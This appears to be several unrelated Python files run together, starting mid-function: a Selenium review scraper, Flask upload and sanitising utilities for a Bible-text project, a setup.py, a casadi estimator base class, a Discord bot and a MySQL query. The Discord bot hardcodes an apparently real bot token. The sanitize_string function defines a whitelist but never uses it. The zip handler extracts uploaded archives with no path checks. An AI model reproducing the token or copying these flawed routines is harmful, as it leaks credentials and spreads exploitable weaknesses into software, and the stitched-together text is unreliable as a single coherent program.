    datalist[['Link', 'Name', 'Comment', 'Rate']].to_csv(filename, encoding='utf-8-sig')
    return

def crawl_link_of_items(link):
    options = webdriver.ChromeOptions()
    options.add_argument("headless")
    # Create a driver to perform actions in website as: crawl,event
    browser = webdriver.Chrome(options=options)
    #
    browser.get(link)
    browser.implicitly_wait(20)
    # click showmore until show all item
    try:
        while (1):
            element = browser.find_element_by_xpath("//section/a[@class='viewmore']")
            time.sleep(1)
            element.click()
            time.sleep(2)
    except:
        pass

# get link of item in page
    links = []
    link_elements = browser.find_elements_by_xpath("//ul[@class = 'homeproduct']/li/a")
    for element in link_elements:
        link = element.get_attribute("href")
        links.append(link)
    print("Total link: {0}".format(len(links)))
    # close browser
    browser.quit()
    return links

def crawl(link, filename, continued_link=None):
    links = crawl_link_of_items(link)
    if continued_link is None:
        for lik, i in zip(links, range(len(links))):
            print("{}/{}".format(i, len(links)))
            name, comments, rates = crawl_comment_of_item(lik)
            save_to_csv(lik, name, comments, rates, filename)
    else:
        isFound = False
        for lik, i in zip(links, range(len(links))):
            if lik.endswith(continued_link):
                isFound = True
                print("Found")
            if isFound:
                print("{}/{}".format(i, len(links)))
                name, comments, rates = crawl_comment_of_item(lik)
                save_to_csv(lik, name, comments, rates, filename)

if __name__ == '__main__':
    crawl("https://www.thegioididong.com/dong-ho-deo-tay", filename='./tgdd-dong-ho-raw2.csv')


"""
Common utitities shared across blueprints
"""

# Core python imports
import json
import string
import logging
import zipfile
from pathlib import Path
from datetime import datetime
from collections import namedtuple

# This project
from web.ephesus.constants import (
    ProjectTypes,
)
from web.ephesus.exceptions import (
    ProjectError,
    InputError,
)

# Third party
from machine.corpora import (
    UsfmFileTextCorpus,
    extract_scripture_corpus,
    ParatextTextCorpus,
)

_LOGGER = logging.getLogger(__name__)

def sanitize_string(user_input):
    """Simple sanitizer for form user input"""
    whitelist = string.ascii_letters + string.digits + " _.,:-()&"
    return "".join([letter for letter in user_input][:15])

def parse_uploaded_files(filepath, resource_id):
    """Parse and store the uploaded input files"""

    try:
        # If the input is .txt, assume it is
        # already in the BibleNLP verse-wise lined format
        if filepath.suffix.lower() in [".txt"]:
            filepath.replace(f"{filepath.parent / resource_id}.txt")

        # Handle Zipped project uploads
        # These can either by Paratext Projects or
        # a simple collection of USFM files
        # (with .sfm or .usfm extensions).
        elif filepath.suffix.lower() in [".zip"]:
            extract_dir = filepath.parent / "extract"
            with zipfile.ZipFile(filepath, "r") as zip_ref:
                zip_ref.extractall(extract_dir)

            # Check if this is a Paratext Project
            # See https://github.com/sillsdev/machine.py/blob/19188e173ffdd3c22f2c4eaa68c581d72f2c86c5/machine/corpora/paratext_text_corpus.py#L55C12-L55C12
            if (
                is_generator_valid(extract_dir.glob("*.SFM"))
                and (extract_dir / "Settings.xml").exists()
            ):
                extracted_corpus = ParatextTextCorpus(str(extract_dir))

            # Otherwise check if it uses any of the
            # other reasonable USFM file extensions
            elif is_generator_valid(extract_dir.glob("*.SFM")):
                extracted_corpus = UsfmFileTextCorpus(str(extract_dir))
            elif is_generator_valid(extract_dir.glob("*.sfm")):
                extracted_corpus = UsfmFileTextCorpus(
                    str(extract_dir), file_pattern="*.sfm"
                )
            elif is_generator_valid(extract_dir.glob("*.usfm")):
                extracted_corpus = UsfmFileTextCorpus(
                    str(extract_dir), file_pattern="*.usfm"
                )
            elif is_generator_valid(extract_dir.glob("*.USFM")):
                extracted_corpus = UsfmFileTextCorpus(
                    str(extract_dir), file_pattern="*.USFM"
                )

            # Extract into BibleNLP format
            # This returns verse_text, org_versification, corpus_versification. We don't want to map to org for this use-case.
            verses = []
            vrefs = []
            for verse, _, vref in extract_scripture_corpus(extracted_corpus):
                verses.append(verse)
                vrefs.append(str(vref))

            # Write full output to a single file
            with (filepath.parent / f"{resource_id}.txt").open("w") as parsed_file:
                parsed_file.write("\n".join(verses))

            # Write corresponding vref.txt file
            with (filepath.parent / "vref.txt").open("w") as vref_file:
                vref_file.write("\n".join(vrefs))
    except Exception as e:
        _LOGGER.error("Error while parsing and saving the data", e)
        raise InputError("Error while processsing the data.")

def is_generator_valid(gen):
    """Utility to check if a generator has any valid value in at-all or not.
    This is a subsitute for `len` checks for generators"""
    if not gen:
        return False

    try:
        next(gen)
    except StopIteration as s:
        return False

    # Seems there is at-least one value
    return True

def get_projects_listing(username, base_path, roles=[]):
    """
    Get the listing of the projects for use in the UI.
    This is derived from reading the metadata.json file
    assumed to be in sub-directories within the `base_path`.
    """
    ProjectDetails = namedtuple(
        "ProjectDetails", ["resource_id", "project_name", "lang_code", "birth_time"]
    )
    project_listing = []
    # Set ops are more elegant than array ops
    roles = set(roles)
    for resource in base_path.iterdir():
        if resource.name.startswith("."):
            continue

        try:
            # Read metadata.json
            with (resource / "metadata.json").open() as metadata_file:
                metadata = json.load(metadata_file)

            if (
                username == metadata.get("owner", None)
                or len(roles.intersection(metadata.get("tags", []))) > 0
            ):
                project_listing.append(
                    ProjectDetails(
                        resource.name,
                        metadata["projectName"],
                        metadata["langCode"],
                        resource.stat().st_ctime,
                    )
                )
        except FileNotFoundError as e:
            _LOGGER.error(
                f"Unable to find metadata.json but ignoring this for now.",
                exc_info=True,
            )
            pass

    return sorted(project_listing, reverse=True, key=lambda x: x.birth_time)

def count_file_content_lines(file_path):
    """Return the number of lines in `file_path`"""
    with file_path.open() as f:
        for count, line in enumerate(f):
            pass

        return count + 1

def is_file_modified(file_path, last_modified):
    """Checks if `file_path` has a newer modified date than `last_modified`"""
    if not file_path or not last_modified:
        return False

    return datetime.fromtimestamp(file_path.stat().st_mtime) > datetime.fromtimestamp(
        last_modified
    )


from setuptools import setup, find_packages

config = {
    'description': 'Feature Rich Encodings for Text Features',
    'author': 'Chapman Siu',
    'url': 'https://github.com/chappers/feature-rich-encoding',
    'download_url': 'https://github.com/chappers/feature-rich-encoding',
    'author_email': 'chpmn.siu@gmail.com',
    'version': '0.1.0',
    'install_requires': [
        'gensim',
        'nltk',
        'scikit-learn'
      ],
    'packages': ['FeatureRichEncoding'],
    'name': 'FeatureRichEncoding',
    'include_package_data':True,
    'zip_safe':False
}

setup(**config)


from abc import ABCMeta, abstractmethod
from typing import Optional

import casadi as ca

from ..base import Base, Vector, TimeSeries
from ..dynamic_model.dynamic_model import Model
from ...util.util import convert

class Estimator(metaclass=ABCMeta):
    """"""
    _type = ''

    def __init__(self, *args, **kwargs):
        """Constructor method"""
        super().__init__(*args, **kwargs)
        self._update_type()

    @abstractmethod
    def _update_type(self) -> None:
        """

        :return:
        """
        pass

    @property
    def type(self) -> str:
        """

        :return:
        """
        return self._type

class _Estimator(Estimator, Base, metaclass=ABCMeta):
    """
    Base class for all estimators

    :param model:
    :param id: The identifier of the estimator. If no identifier is given, a random one will be generated.
    :param name: The name of the model. By default, the model has no name.
    :param plot_backend: Plotting library that is used to visualize estimated data. At the moment only Matplotlib and
        Bokeh are supported. By default, no plotting library is selected, i.e. no plots can be generated.
    """
    def __init__(
            self,
            model: Model,
            id: Optional[str] = None,
            name: Optional[str] = None,
            plot_backend: Optional[str] = None
    ) -> None:
        """Constructor method"""
        super().__init__(id=id, name=name)
        if self._id is None:
            self._create_id()

        if not model.is_setup():
            raise RuntimeError(f"Model is not set up. Run Model.setup() before passing it to the {self.type}.")

        self._model = model.copy(setup=True)
        self._error_covariance = None
        self._process_noise_covariance = None
        self._measurement_noise_covariance = None

        self._solution = TimeSeries(plot_backend, parent=self)

        self._n_x = 0
        self._n_y = 0
        self._n_z = 0
        self._n_u = 0
        self._n_p = 0
        self._n_p_est = 0

    def _set_process_noise(self, var):
        """

        :param var:
        :return:
        """
        Q = convert(var, ca.DM)
        if not Q.is_square():
            Q = ca.diag(Q)
        if Q.shape != (self._n_x, self._n_x):
            raise ValueError(f"Dimension mismatch. Supplied dimension is {Q.shape[0]}x{Q.shape[1]}, but required "
                             f"dimension is {self._n_x}x{self._n_x}")
        self._process_noise_covariance = Q

    def _set_measurement_noise(self, var):
        """

        :param var:
        :return:
        """
        R = convert(var, ca.DM)
        if not R.is_square():
            R = ca.diag(R)
        if R.shape != (self._n_y, self._n_y):
            raise ValueError(f"Dimension mismatch. Supplied dimension is {R.shape[0]}x{R.shape[1]}, but required "
                             f"dimension is {self._n_y}x{self._n_y}")
        self._measurement_noise_covariance = R

    def _set_error_covariance(self, P0):
        """

        :param P0:
        :return:
        """
        if P0 is None:
            P0 = ca.DM.eye(self._n_x)
        else:
            P0 = convert(P0, ca.DM)
            if not P0.is_square():
                P0 = ca.diag(P0)
            if P0.shape != (self._n_x, self._n_x):
                raise ValueError(f"Dimension mismatch. Supplied dimension is {P0.shape[0]}x{P0.shape[1]}, but required"
                                 f" dimension is {self._n_x}x{self._n_x}")
        self._solution.set('P', P0[:])

    def _check_setup(self):
        """

        :return:
        """
        if self._function is None:
            # NOTE: Not sure if we want to throw an error here
            type_ = self.type.split()
            type_[0] = type_[0].capitalize()
            msg = f"{' '.join(type_)} is not set up. Run {self.__class__.__name__}.setup() before running simulations."
            raise RuntimeError(msg)

        if self.n_x > 0 and self._solution.get_by_id('x').is_empty():
            raise RuntimeError(f"No initial guess for the states found. Please set initial guess before running the "
                               f"{self.type}!")

        if self._n_z > 0 and self._solution.get_by_id('z').is_empty():
            raise RuntimeError(f"No initial guess for the algebraic variables found. Please set initial guess before "
                               f"running the {self.type}!")

    def _process_inputs(self, **kwargs):
        """

        :param kwargs:
        :return:
        """
        dt = self._solution.dt
        if dt is not None:
            tf = kwargs.get('tf')
            if tf is None:
                steps = kwargs.get('steps', 1)
                tf = steps * dt
                # NOTE: Don't know if this is necessary
                tf = ca.linspace(dt, tf, steps).T
            else:
                steps = int(tf / dt)

                if self._solution['t'].is_empty():
                    self._solution.add('t', 0.)
        else:
            raise NotImplementedError("Support for grids is not yet implemented in the Kalman filter.")

        y = kwargs.get('y')
        u = kwargs.get('u')
        p = kwargs.get('p')
        if y is not None:
            if not isinstance(y, Vector):
                y = convert(y, ca.DM)
            if u is not None:
                if not isinstance(u, Vector):
                    u = convert(u, ca.DM)
            if p is not None:
                if not isinstance(p, Vector):
                    p = convert(p, ca.DM)
            if steps is not None:
                if y.size2() != 1 and steps != y.size2():
                    raise IndexError(f"Dimension mismatch for variable y. Supplied dimension is {y.size2()}, but "
                                     f"required dimension is {steps}.")
                elif y.size2() == 1 and steps != 1:
                    if isinstance(y, Vector):
                        y.repmat(steps, axis=1)
                    else:
                        y = ca.repmat(y, 1, steps)
            else:
                steps = y.size2()
            if u is not None:
                if u.size2() != 1 and steps != u.size2():
                    raise IndexError(f"Dimension mismatch for variable u. Supplied dimension is {u.size2()}, but "
                                     f"required dimension is {steps}.")
                elif u.size2() == 1 and steps != 1:
                    if isinstance(u, Vector):
                        u.repmat(steps, axis=1)
                    else:
                        u = ca.repmat(u, 1, steps)
                self._solution.add('u', u)
            if p is not None:
                if p.size2() != 1 and steps != p.size2():
                    raise IndexError(f"Dimension mismatch for variable p. Supplied dimension is {p.size2()}, but "
                                     f"required dimension is {steps}.")
                elif p.size2() == 1 and steps != 1:
                    if isinstance(p, Vector):
                        p.repmat(steps, axis=1)
                    else:
                        p = ca.repmat(p, 1, steps)
                self._solution.add('p', p)
        else:
            raise RuntimeError("No measurement data supplied.")

        skip = kwargs.get('skip')
        args = self._solution.get_function_args(steps=steps, skip=skip)
        args['t0'] += tf
        args['steps'] = steps
        # TODO: Add to solution like u and p?
        args['y'] = y

        return args

    @property
    def error_covariance(self):
        """

        :return:
        """
        if self._solution.is_set_up() and not self._solution.get_by_id('P').is_empty():
            return ca.reshape(self._solution['Pf'], self._n_x, self._n_x)
        return None

    P = error_covariance

    @property
    def process_noise_covariance(self):
        """

        :return:
        """
        return self._process_noise_covariance

    @process_noise_covariance.setter
    def process_noise_covariance(self, cov):
        self._set_process_noise(cov)

    Q = process_noise_covariance

    @property
    def measurement_noise_covariance(self):
        """

        :return:
        """
        return self._measurement_noise_covariance

    @measurement_noise_covariance.setter
    def measurement_noise_covariance(self, cov):
        self._set_measurement_noise(cov)

    R = measurement_noise_covariance

    @property
    def n_x(self):
        """

        :return:
        """
        return self._n_x

    @property
    def n_y(self):
        """

        :return:
        """
        return self._n_y

    @property
    def n_z(self):
        """

        :return:
        """
        return self._n_z

    @property
    def n_u(self):
        """

        :return:
        """
        return self._n_u

    @property
    def n_p(self):
        """

        :return:
        """
        return self._n_p

    @property
    def n_p_est(self):
        """

        :return:
        """
        return self._n_p_est

    @property
    def solution(self):
        """

        :return:
        """
        return self._solution

    def set_initial_guess(self, x0, t0=0., z0=None, P0=None):
        """

        :param x0:
        :param t0:
        :param z0:
        :param P0:
        :return:
        """
        self._model.set_initial_conditions(x0, t0=t0, z0=z0)
        self._solution.set('t', self._model.solution.get_by_id('t:0'))
        if not self._model.x.is_empty():
            self._solution.set('x', self._model.solution.get_by_id('x:0'))
        if not self._model.z.is_empty():
            self._solution.set('z', self._model.solution.get_by_id('z:0'))
        if not self._model.y.is_empty():
            self._solution.set('y', self._model.solution.get_by_id('y:0'))

        self._set_error_covariance(P0)

    def set_initial_parameter_values(self, p):
        """

        :param p:
        :return:
        """
        self._model.set_initial_parameter_values(p)
        if not self._model.p.is_empty():
            self._solution.add('p', p)

    @abstractmethod
    def setup(self, **kwargs):
        """

        :param kwargs:
        :return:
        """
        pass


import os
import discord
from discord.ext import commands
import asyncio
import pymongo
from database.connect import db_connect
intents = discord.Intents.default()
intents.members = True

bot = commands.Bot(command_prefix = '.', intents = intents)
bot.remove_command('help')
servers = db_connect("servers")

for file in os.listdir("cogs"):
    if file.endswith(".py"):
        name = file[:-3]
        bot.load_extension(f"cogs.{name}")

print("Serveur ON")

@bot.event
async def on_ready():
    while True:
        count = 0
        for member in bot.get_all_members():
            count += 1
        await bot.change_presence(activity = discord.Activity(type = discord.ActivityType.watching, name = f"{count} membres"))
        await asyncio.sleep(60)

if __name__ == "__main__":
    bot.run("NzU2NTE2MDUyNTE0MzczNzM0.X2S-eg.9h7f14spx5sNWhEFgyA3UZ66a_U")


from sqlalchemy import create_engine, MetaData, Table

def getSongs():
	engine = create_engine("mysql+pymysql://root:@localhost/ontag")
	metadata = MetaData(bind=engine)
	con = engine.connect()

	res = con.execute("select id,name from songs order by RAND() limit 100")

	songs = {}
	for row in res:
		songinfo = {"name": row['name']}
		songs[row['id']] = {"songinfo": songinfo}

	return songs